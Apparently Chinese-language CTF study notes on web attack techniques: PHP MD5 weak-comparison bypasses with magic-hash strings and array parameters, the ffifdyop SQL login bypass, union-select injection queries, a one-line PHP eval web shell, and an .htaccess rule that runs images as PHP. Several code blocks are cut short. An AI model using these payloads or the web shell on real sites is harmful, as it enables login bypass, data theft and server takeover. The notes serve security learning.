学点web
MD5比较
在php中有两种比较的符号,“==”和“===”。
弱比较:使用“**==”进行比较,会先将两边转换成相同类型再比较,即仅比较值**。
强比较:使用“**===”进行比较,会先判断两边的数据类型是否相等,再进行比较,因此既比较值又比较类型**。
弱类型比较
原理
转换规则
1.同类型(数字型和数字型比较、字符型和字符型比较),比较其内容。比如’’aaa’’ == ‘’ab’’ -> false、123 == 223 -> false
2.字符型和数字型比较:若字符型值开头为数字,则转为数字;若开头不为数字,则为null弱比较和0相等。例如:“abc123” == 0 -> true
绕过
一、0e绕过
如果两个字符经MD5加密后的值以“0e”开头,则会被认作科学计数法,表示0*10**x,仍为0,则两者相等。
以下为一些可用字符串:
| 字符串 | md5值 |
|---|---|
| QNKCDZO | 0e830400451993494058024219903391 |
| 240610708 | 0e462097431906509019562988736854 |
| s1502113478a | 0e861580163291561247404381396064 |
| s1885207154a | 0e509367213418206700842008763514 |
| s1836677006a | 0e481036490867661113260034900752 |
| s155964671a | 0e342768416822451524974117254469 |
| …… | …… |
二、数组绕过
md5不能加密数组,传入数组会报错,但会继续执行并返回结果为null。
payload:?a[]=1&b[]=2
强类型绕过
一、数组绕过
见上。
二、使用md5加密后两个完全相等的字符串来绕过过滤
三、mysql里的ffifdyop绕过
万能通式:129581926211651571912466741651878684928和ffifdyop
实例:
select * from ‘admin’ where password=md5($pass,true)
输入md5(‘ffifdyop’,true)绕过
ffifdyop 这个字符串被 md5 哈希了后会变成 276f722736c95d99e921722cf9ed621c,Mysql会把hex转成ascii解释,而该字符串的md5转成字符串前几位刚好是’or’6,因此拼接之后的形式是 select * from ‘admin’ where password= ‘ ‘ or ‘6xxxxx ‘,等价于永远为真。
PHP伪协议
PHP 伪协议 是 PHP 内置的一种特殊“协议”机制。它允许 PHP 在访问文件时,不只是访问普通文件,还可以通过类似 URL 的形式访问 内存、编码数据、压缩文件、输入流等资源。
例如:
1 | php://input |
1 | #读取一个php |
PHP反序列化
1 | <?php |
无字母RCE绕过
异或运算绕过
sql注入
union select database()
group_concat(table_name) from information_schema.tables where table_schema like database()
文件上传
一句话木马
1 | <?php @eval($_POST['cmd']);?> |
Apache服务器
htaccess文件是Apache服务中的一个配置文件,负责相关目录下的网页配置。可以通过.htaccess文件将只要符合php语言代码规范的任意文件当作php执行。
.htaccess文件内容如下,即可把jpg当作php读取:
1 | <FilesMatch "jpg"> |


